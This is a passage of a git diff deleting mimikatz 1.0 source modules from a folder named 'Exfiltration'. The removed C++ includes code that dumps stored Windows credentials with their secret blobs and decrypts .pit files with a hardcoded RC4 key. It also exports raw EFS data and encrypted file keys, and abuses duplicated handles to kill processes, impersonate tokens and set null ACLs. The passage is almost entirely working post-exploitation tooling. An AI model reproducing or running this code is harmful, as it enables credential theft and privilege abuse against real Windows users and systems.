L"") << endl << - L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl << - L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"") << endl << - L"UserName : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"") << endl << - L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl << - endl; - } - CredFree(pCredential); - } - else (*outputStream) << L"CredEnumerate : " << mod_system::getWinError() << endl; - - return true; -} - - -bool mod_mimikatz_divers::pitme(vector * arguments) -{ - static const BYTE HARDCODED_KEY[] = { - 0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f, - 0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb, - 0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39, - 0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f, - 0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81, - 0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5, - 0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10, - 0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b, - 0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e, - 0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d, - 0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2, - 0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea, - 0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4, - 0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7, - 0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d, - 0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e - }; - static const DWORD SUBKEY_SIZE = 16; - static const BYTE HEADER_PIT[] = {'P', 'I', 'T'}; - - FILE * monFichierSource, * monFichierDestination; - BYTE * monBuffer, * monBufferData; - ULONG tailleFichierSource, tailleData; - - if(arguments->size() < 1) - { - (*outputStream) << L"divers:::pitme file.pit [file.rdp]" << endl; - } - else - { - (*outputStream) << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : "; - if(monFichierSource = _wfopen(arguments->front().c_str(), L"rb")) - { - fseek(monFichierSource, 0, SEEK_END); - tailleFichierSource = ftell(monFichierSource); - monBuffer = new BYTE[tailleFichierSource]; - fseek(monFichierSource, 0, SEEK_SET); - fread(monBuffer, tailleFichierSource, 1, monFichierSource); - fclose(monFichierSource); - - (*outputStream) << L"OK" << endl << L" * Déchiffrement n°1 : "; - if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4)) - { - (*outputStream) << L"OK" << endl << L" * Déchiffrement n°2 : "; - if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4)) - { - (*outputStream) << L"OK" << endl << L" * En-tête : "; - if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0) - { - (*outputStream) << L"OK" << endl; - monBufferData = monBuffer + sizeof(HEADER_PIT); - tailleData = tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE; - - if(arguments->size() > 1) - { - (*outputStream) << L" * Ouverture en écriture du fichier \'" << arguments->back() << L"\' : "; - if(monFichierDestination = _wfopen(arguments->back().c_str(), L"wb")) - { - (*outputStream) << L"OK" << endl; - fwrite(monBufferData, tailleData, 1, monFichierDestination); - fclose(monFichierDestination); - } - else (*outputStream) << L"KO" << endl; - } - else (*outputStream) << L" * Données : " << endl << endl << wstring(reinterpret_cast(monBufferData), reinterpret_cast(monBufferData + tailleData)) << endl; - } - else (*outputStream) << L"KO - différent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl; - } - else (*outputStream) << L"KO"; - } - else (*outputStream) << L"KO"; - delete [] monBuffer; - } - else (*outputStream) << L"KO" << endl; - } - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h deleted file mode 100644 index 9bfcf9f..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h +++ /dev/null @@ -1,30 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_process.h" -#include "mod_patch.h" -#include "mod_secacl.h" -#include "mod_text.h" -#include "mod_crypto.h" -#include -#include -#include "..\global.h" - -class mod_mimikatz_divers -{ -public: - static vector getMimiKatzCommands(); - - static bool cancelator(vector * arguments); - static bool noroutemon(vector * arguments); - static bool eventdrop(vector * arguments); - static bool secrets(vector * arguments); - static bool nodetour(vector * arguments); - static bool pitme(vector * arguments); -}; - - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp deleted file mode 100644 index 366c062..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp +++ /dev/null @@ -1,300 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com -benjamin@gentilkiwi.com -Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_efs.h" -#include "..\global.h" - -vector mod_mimikatz_efs::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Affiche des informations basiques sur un fichier chiffré")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"full", L"Affiche des informations très détaillées sur un fichier chiffré")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(toraw, L"toraw", L"Dump les données EFS d'un fichier chiffré vers un fichier brut")); - // monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(fromraw, L"fromraw")); - return monVector; -} - -bool mod_mimikatz_efs::infos(vector * arguments) -{ - if(!arguments->empty()) - { - PENCRYPTION_CERTIFICATE_HASH_LIST pHashes = NULL; - - if(QueryUsersOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) - { - (*outputStream) << L"Utilisateur(s) déclaré(s) : " << pHashes->nCert_Hash << endl; - printInfos(pHashes); - FreeEncryptionCertificateHashList(pHashes); - } - else (*outputStream) << L"Erreur QueryUsersOnEncryptedFile : " << mod_system::getWinError() << endl; - - if(QueryRecoveryAgentsOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) - { - (*outputStream) << L"Agent(s) de recouvrement : " << pHashes->nCert_Hash << endl; - printInfos(pHashes); - FreeEncryptionCertificateHashList(pHashes); - } - else (*outputStream) << L"Erreur QueryRecoveryAgentsOnEncryptedFile : " << mod_system::getWinError() << endl; - - } - return true; -} - -bool mod_mimikatz_efs::full(vector * arguments) -{ - if(!arguments->empty()) - { - PVOID pvContext = NULL; - if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) - { - SIMPLE_BYTE_ARRAY sba = {0, reinterpret_cast(malloc(0))}; - if(ReadEncryptedFileRaw(ExportToArrayCallback, &sba, pvContext) == ERROR_SUCCESS) - { - PEFS_FEK Fek = NULL; - PEFS_STREAM_DATA_SEGMENT monDataSegment = NULL; - for( - PEFS_MARSHALED_STREAM monMarshaledStream = reinterpret_cast(sba.tableau + sizeof(EFS_RAW)); - reinterpret_cast(monMarshaledStream) < (sba.tableau + sba.nbElements); - monMarshaledStream = reinterpret_cast(monDataSegment) - ) - { - - bool isEFSMetaData = (monMarshaledStream->NameLenght == 2) && (monMarshaledStream->StreamName[0] == 0x1910); - - (*outputStream) << endl << - L"Marshaled Stream :" << endl << - L" * Taille : " << monMarshaledStream->Length << endl << - L" * Flag : " << monMarshaledStream->Flag << endl << - L" * Nom : " << (isEFSMetaData ? wstring(L"(EFS Metadata stream)") : wstring(monMarshaledStream->StreamName, monMarshaledStream->NameLenght / sizeof(wchar_t))) << endl << - L" * Type : " << (isEFSMetaData ? L"EFS Metadata" : L"DATA") << endl << - endl; - - for( - monDataSegment = reinterpret_cast(reinterpret_cast(monMarshaledStream) + monMarshaledStream->Length); - (reinterpret_cast(monDataSegment) < (sba.tableau + sba.nbElements)) && (monDataSegment->GURE0 == 0x00550047) && (monDataSegment->GURE1 == 0x00450052); - monDataSegment = reinterpret_cast(reinterpret_cast(monDataSegment) + monDataSegment->Length) - ) - - { - (*outputStream) << L"DataSegment : " << endl; - PBYTE StreamData = reinterpret_cast(monDataSegment) + sizeof(EFS_STREAM_DATA_SEGMENT); - - if(isEFSMetaData) - { - (*outputStream) << L" EFS Metadata :" << endl; - - PEFS_METADATA_1 mesAttr = reinterpret_cast(StreamData); - (*outputStream) << L" * Version EFS : " << mesAttr->EFS_Version << endl; - if(mesAttr->DDF_Offset) - { - (*outputStream) << L" * Utilisateur(s) déclaré(s) :" << endl; - fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DDF_Offset, &Fek); - } - if(mesAttr->DRF_Offset) - { - (*outputStream) << L" * Agent(s) de recouvrement :" << endl; - fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DRF_Offset, &Fek); - } - } - else - { - (*outputStream) << L" DATA :" << endl; - if(!monMarshaledStream->Flag) - { - (*outputStream) << L" DATA Segment Encryption Header :" << endl; - PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER monSegEncHead = reinterpret_cast(StreamData); - (*outputStream) << - L" * Length : " << monSegEncHead->Length << endl << - L" * StartingFile_Offset : " << monSegEncHead->StartingFile_Offset << endl << - L" * BytesWithinStreamSize : " << monSegEncHead->BytesWithinStreamSize << endl << - L" * BytesWithinVDL : " << monSegEncHead->BytesWithinVDL << endl << - L" * DataUnitShift : " << monSegEncHead->DataUnitShift << endl << - L" * ChunkShift : " << monSegEncHead->ChunkShift << endl << - L" * ClusterShift : " << monSegEncHead->ClusterShift << endl << - L" * NumberOfDataBlocks : " << monSegEncHead->NumberOfDataBlocks << endl << - endl; - - PEFS_EXTENDED_HEADER monExtHeader = reinterpret_cast(reinterpret_cast(monSegEncHead) + FIELD_OFFSET(EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, DataBlockSizes) + (sizeof(DWORD) * monSegEncHead->NumberOfDataBlocks)); - if(monExtHeader->EXTD_Number == 'DTXE') - { - (*outputStream) << L" * Extended Header Flag : " << monExtHeader->Flags << endl; - } - - for(DWORD block = 0; block < monSegEncHead->NumberOfDataBlocks; block++) - { - (*outputStream) << L" -> Block " << block+1 << L" ; taille : " << monSegEncHead->DataBlockSizes[block] << endl; - - PBYTE mesDatas = reinterpret_cast(StreamData) + monSegEncHead->Length; - (*outputStream) << mod_text::stringOfHex(mesDatas, monSegEncHead->DataBlockSizes[block], 16) << endl; - - if(Fek); - } - } - else - { - (*outputStream) << L"TODO Data" << endl; - } - } - } - } - } - else (*outputStream) << L"Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; - - free(sba.tableau); - CloseEncryptedFileRaw(pvContext); - } - else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; - } - return true; -} - -bool mod_mimikatz_efs::toraw(vector * arguments) -{ - if(arguments->size() == 2) - { - PVOID pvContext = NULL; - (*outputStream) << L"Ouverture de : " << arguments->front() << endl; - if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) - { - (*outputStream) << L"Vers : " << arguments->back() << endl; - HANDLE hFile = CreateFile(arguments->back().c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); - if(ReadEncryptedFileRaw(ExportToFileCallback, &hFile, pvContext) == ERROR_SUCCESS) - { - (*outputStream) << L" * Export OK" << endl; - } - else (*outputStream) << L"* Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; - CloseHandle(hFile); - CloseEncryptedFileRaw(pvContext); - } - else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; - } - return true; -} - -void mod_mimikatz_efs::printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList) -{ - for(DWORD i = 0; i < hashList->nCert_Hash; i++) - { - wstring user; - mod_secacl::simpleSidToString(hashList->pUsers[i]->pUserSid, &user); - - (*outputStream) << - L" * Nom : " << user << endl << - L" * Nom simple : " << hashList->pUsers[i]->lpDisplayInformation << endl << - L" * Hash du certificat : " << mod_text::stringOfHex(hashList->pUsers[i]->pHash->pbData, hashList->pUsers[i]->pHash->cbData) << endl << - endl; - } -} - -DWORD WINAPI mod_mimikatz_efs::ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength) -{ - if(ulLength) - { - PSIMPLE_BYTE_ARRAY sba = reinterpret_cast(pvCallbackContext); - sba->tableau = reinterpret_cast(realloc(sba->tableau, sba->nbElements + ulLength)); - if(sba->tableau) - { - RtlCopyMemory(sba->tableau + sba->nbElements, pbData, ulLength); - sba->nbElements += ulLength; - } - else - return ERROR_NOT_ENOUGH_MEMORY; - } - return ERROR_SUCCESS; -} - -DWORD WINAPI mod_mimikatz_efs::ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, ULONG ulLength) -{ - if(ulLength) - { - (*outputStream) << L" - Lecture d\'un bloc de : " << ulLength << endl; - DWORD dwBytesWritten = 0; - if(WriteFile(*reinterpret_cast(pvCallbackContext), pbData, ulLength, &dwBytesWritten, NULL) && (ulLength == dwBytesWritten)) - return ERROR_SUCCESS; - return GetLastError(); - } - return ERROR_SUCCESS; -} - -bool mod_mimikatz_efs::fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * pFek) -{ - *pFek = NULL; - PEFS_KEY_LIST monHead = reinterpret_cast(reinterpret_cast(header) + KeyList_offset); - - PEFS_KEY_LIST_ENTRY monHeader = reinterpret_cast(monHead); - DWORD previousSize = sizeof(PEFS_KEY_LIST); - for(DWORD i = 0; i < monHead->Length; i++) - { - (*outputStream) << endl << L" Champ de données " << (i + 1) << L" :" << endl; - monHeader = reinterpret_cast((PBYTE) monHeader + previousSize); - - PEFS_PUBLIC_KEY_INFORMATION monCredHeader = reinterpret_cast(reinterpret_cast(monHeader) + monHeader->PKI_Offset); - wstring user; - if(monCredHeader->OwnerSID_offset) - mod_secacl::simpleSidToString((reinterpret_cast(monCredHeader) + monCredHeader->OwnerSID_offset), &user); - else user.assign(L"(null)"); - - (*outputStream) << L" * Utilisateur : " << user << endl; - fullInfosFromEFS_CERTIFICATE_DATA(monCredHeader, monCredHeader->Certificate_offset); - - PBYTE Encrypted_FEK = reinterpret_cast(monHeader) + monHeader->Enc_FEK_Offset; - (*outputStream) << - L" * Flags : " << monHeader->Flags << endl << - L" * FEK (chiffrée) : " << endl << - L" -> Taille : " << monHeader->Enc_FEK_Length << endl << - L" -> Données : " << endl << mod_text::stringOfHex(Encrypted_FEK, monHeader->Enc_FEK_Length, 16) << endl << - endl; - - /*HCRYPTPROV hCryptKeyProv; - if(CryptAcquireContext(&hCryptKeyProv, L"", MS_STRONG_PROV, PROV_RSA_FULL, NULL )) - { - HCRYPTKEY maCle = NULL; - if(CryptGetUserKey(hCryptKeyProv, AT_KEYEXCHANGE, &maCle)) - { - DWORD taille = monHeader->Enc_FEK_Length; - if (CryptDecrypt(maCle, 0, TRUE, 0, Encrypted_FEK, &taille) ) - { - *pFek = reinterpret_cast(Encrypted_FEK); - (*outputStream) << - L" * FEK (clair) : " << endl << - L" -> Taille : " << (*pFek)->Key_Lenght << endl << - L" -> Algorithme : " << (*pFek)->Algorithm << endl << - L" -> Entropie : " << (*pFek)->Entropy << endl << - L" -> Données : " << endl << mod_text::stringOfHex((*pFek)->Key, (*pFek)->Key_Lenght, 16) << endl << - endl; - } - else - (*outputStream) << mod_system::getWinError() << endl; - } - CryptReleaseContext(hCryptKeyProv, 0); - }*/ - - previousSize = monHeader->Length; - } - - return (*pFek != NULL); -} - -void mod_mimikatz_efs::fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset) -{ - PEFS_CERTIFICATE_DATA monThCertificate = reinterpret_cast(reinterpret_cast(header) + header->Certificate_offset); - - (*outputStream) << L" -> Nom affiché : "; - if(monThCertificate->DisplayName_Offset) - (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->DisplayName_Offset); - (*outputStream) << endl; - - (*outputStream) << L" -> Provider : "; - if(monThCertificate->ProviderName_Offset) - (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->ProviderName_Offset); - (*outputStream) << endl; - - (*outputStream) << L" -> Container : "; - if(monThCertificate->ContainerName_Offset) - (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->ContainerName_Offset); - (*outputStream) << endl; - - (*outputStream) << L" -> Empreinte : " << mod_text::stringOfHex(reinterpret_cast(monThCertificate) + monThCertificate->CertificateThumbprint, monThCertificate->CertificateThumbprint_Length) << endl; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h deleted file mode 100644 index 0a82140..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h +++ /dev/null @@ -1,133 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include -#include "mod_text.h" -#include "mod_system.h" -#include "mod_secacl.h" -#include "mod_crypto.h" - -class mod_mimikatz_efs -{ -private: - // http://msdn.microsoft.com/library/cc230447.aspx - typedef struct _EFS_RAW { - DWORD Unknown0; - DWORD ROBS0; - DWORD ROBS1; - BYTE Reserved[8]; - } EFS_RAW, *PEFS_RAW; - - typedef struct _EFS_MARSHALED_STREAM { - DWORD Length; - DWORD NTFS0; - DWORD NTFS1; - DWORD Flag; - BYTE Reserved[8]; - DWORD NameLenght; - wchar_t StreamName[1]; - } EFS_MARSHALED_STREAM, *PEFS_MARSHALED_STREAM; - - typedef struct _EFS_STREAM_DATA_SEGMENT { - DWORD Length; - DWORD GURE0; - DWORD GURE1; - DWORD Reserved; - } EFS_STREAM_DATA_SEGMENT, *PEFS_STREAM_DATA_SEGMENT; - - typedef struct _EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER { - LONG64 StartingFile_Offset; - DWORD Length; - DWORD BytesWithinStreamSize; - DWORD BytesWithinVDL; - USHORT ReservedForAlignement0; - BYTE DataUnitShift; - BYTE ChunkShift; - BYTE ClusterShift; - BYTE ReservedForAlignement1; - USHORT NumberOfDataBlocks; - DWORD DataBlockSizes[1]; - } EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, *PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER; - - typedef struct _EFS_EXTENDED_HEADER { - DWORD EXTD_Number; - DWORD Length; - DWORD Flags; - DWORD Reserved; - } EFS_EXTENDED_HEADER, *PEFS_EXTENDED_HEADER; - - typedef struct _EFS_METADATA_1 { - DWORD Length; - DWORD Reserved1; - DWORD EFS_Version; - DWORD Reserved2; - BYTE EFS_ID[16]; - BYTE EFS_Hash[16]; - BYTE Reserved3[16]; - LONG DDF_Offset; - LONG DRF_Offset; - BYTE Reserved4[12]; - } EFS_METADATA_1, *PEFS_METADATA_1; - - typedef struct _EFS_KEY_LIST { - DWORD Length; - } EFS_KEY_LIST, *PEFS_KEY_LIST; - - typedef struct _EFS_KEY_LIST_ENTRY { - DWORD Length; - LONG PKI_Offset; - DWORD Enc_FEK_Length; - LONG Enc_FEK_Offset; - DWORD Flags; - } EFS_KEY_LIST_ENTRY, *PEFS_KEY_LIST_ENTRY; - - typedef struct _EFS_PUBLIC_KEY_INFORMATION { - DWORD Length; - LONG OwnerSID_offset; - DWORD Type; - DWORD Certificate_Length; - LONG Certificate_offset; - } EFS_PUBLIC_KEY_INFORMATION, *PEFS_PUBLIC_KEY_INFORMATION; - - typedef struct _EFS_CERTIFICATE_DATA { - LONG CertificateThumbprint; - DWORD CertificateThumbprint_Length; - LONG ContainerName_Offset; - LONG ProviderName_Offset;; - LONG DisplayName_Offset; - } EFS_CERTIFICATE_DATA, *PEFS_CERTIFICATE_DATA; - - typedef struct _EFS_FEK { - DWORD Key_Lenght; - DWORD Entropy; - ALG_ID Algorithm; - DWORD Reserverd; - BYTE Key[1]; - } EFSFEK, *PEFS_FEK; - - typedef struct _SIMPLE_BYTE_ARRAY{ - SIZE_T nbElements; - PBYTE tableau; - } SIMPLE_BYTE_ARRAY, *PSIMPLE_BYTE_ARRAY; - - static DWORD WINAPI ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); - static DWORD WINAPI ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); - static void printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList); - - static bool fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * Fek); - static void fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset); - -public: - static vector getMimiKatzCommands(); - - static bool infos(vector * arguments); - static bool full(vector * arguments); - static bool toraw(vector * arguments); - static bool fromraw(vector * arguments); -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp deleted file mode 100644 index 8e45ee6..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp +++ /dev/null @@ -1,301 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_handle.h" -#include "..\global.h" - -vector mod_mimikatz_handle::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Affiche les handles du système (pour le moment juste les processus et tokens)")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processStop, L"processStop", L"Essaye de stopper un ou plusieurs processus en utilisant d\'autres handles")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tokenImpersonate, L"tokenImpersonate", L"Essaye d\'impersonaliser un token en utilisant d\'autres handles")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nullAcl, L"nullAcl", L"Positionne une ACL null sur des Handles")); - return monVector; -} - -bool mod_mimikatz_handle::list(vector * arguments) -{ - vector * mesProcess = new vector(); - - bool isProcessList = mod_process::getList(mesProcess); - vector * mesHandles = new vector(); - - DWORD id = (!arguments->empty() ? _wtoi(arguments->front().c_str()) : 0); - - if(mod_system::getSystemHandles(mesHandles, arguments->empty() ? NULL : &id)) - { - for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) - { - HANDLE hProcess; - if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) - { - HANDLE nouveauHandle; - if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) - { - wstring tokenType; - if(mod_system::getHandleType(nouveauHandle, &tokenType)) - { - bool isToken = (_wcsicmp(tokenType.c_str(), L"token") == 0); - bool isProcess = (_wcsicmp(tokenType.c_str(), L"process") == 0); - - if(isToken || isProcess) - { - (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" "; - - if(isProcessList) - { - mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); - if(mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess)) - (*outputStream) << setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right; - delete processHote; - } - - (*outputStream) << L" -> " << setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << tokenType << L'\t'; - - if(isToken) - { - wstring userName, domainName; - if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) - (*outputStream) << L'\t' << domainName << L'\\' << userName ; - else (*outputStream) << mod_system::getWinError(); - } - else if(isProcess) - { - DWORD monPid = GetProcessId(nouveauHandle); - (*outputStream) << monPid; - - if(isProcessList) - { - mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); - if(mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess)) - (*outputStream) << L'\t' << processKiwi->szExeFile; - delete processKiwi; - } - } - (*outputStream) << endl; - } - } - CloseHandle(nouveauHandle); - } - CloseHandle(hProcess); - } - } - } - else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; - - delete mesHandles; - - return true; -} - -bool mod_mimikatz_handle::processStop(vector * arguments) -{ - vector * mesProcess = new vector(); - - bool isProcessList = mod_process::getList(mesProcess); - vector * mesHandles = new vector(); - - if(mod_system::getSystemHandles(mesHandles)) - { - for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) - { - HANDLE hProcess; - if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) - { - HANDLE nouveauHandle; - if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) - { - wstring tokenType; - if(mod_system::getHandleType(nouveauHandle, &tokenType)) - { - if(_wcsicmp(tokenType.c_str(), L"process") == 0) - { - if(isProcessList) - { - mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); - mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); - DWORD monPid = GetProcessId(nouveauHandle); - if( - mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) && - mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess) - ) - { - - for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) - { - if(_wcsicmp(processKiwi->szExeFile.c_str(), monProcessName->c_str()) == 0) - { - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << - setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << - setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << - monPid << L'\t' << processKiwi->szExeFile << endl; - ; - - - (*outputStream) << L"\tTerminate Process - "; - if(TerminateProcess(nouveauHandle, ERROR_SUCCESS) != 0) - { - (*outputStream) << L"OK"; - } - else - { - (*outputStream) << L"KO ; " << mod_system::getWinError() << endl << - L"\tJob : "; - - if(HANDLE monObject = CreateJobObject(NULL, NULL)) - { - if(AssignProcessToJobObject(monObject, nouveauHandle)) - { - (*outputStream) << L"TerminateJobObject - "; - if(TerminateJobObject(monObject, ERROR_SUCCESS) != 0) - { - (*outputStream) << L"OK"; - } - else (*outputStream) << L"KO ; " << mod_system::getWinError(); - } - else (*outputStream) << L"AssignProcessToJobObject - KO ; " << mod_system::getWinError(); - CloseHandle(monObject); - } - - } - - (*outputStream) << endl; - } - } - } - delete processKiwi; - delete processHote; - } - } - } - CloseHandle(nouveauHandle); - } - 